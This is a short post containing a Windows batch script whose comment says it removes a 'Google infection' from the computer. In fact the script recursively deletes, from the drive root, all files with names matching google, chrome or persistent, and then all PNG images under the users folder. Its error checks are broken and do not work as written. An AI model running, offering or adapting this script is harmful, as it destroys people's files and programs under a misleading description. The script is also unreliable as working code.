heres an example
@echo off
setlocal enabledelayedexpansion
ping 127.0.0.1
if "%errorlevel%"=="0" cls &Echo Success.
if "%errorlevel%"=="1" cls &Echo Fail
endlocal
rem ***************************************************************
rem This batch file destroys Google. It sneaks in. Run this every
rem day keep, the Google infection off your computer.
rem 12.15.17
rem
rem ***************************************************************
echo off
cd\
dir *google*.* /s
if "errorlevel"=="1" goto failure
if "errorlevel"=="0" goto fail
:failure
del *google*.* /s
goto fail
: fail
dir *chrome*.* /s
if "errorlevel"=="0" goto success
if "errorlevel"=="1" goto flunk"
: flunk
del *chrome*.* /s
del *persistent*.*.txt /s
goto success
:success
dir *google*.* /s
dir *chrome*.* /s
cd users
del *.png*.* /s
echo KILL GOOGLE
pause
exit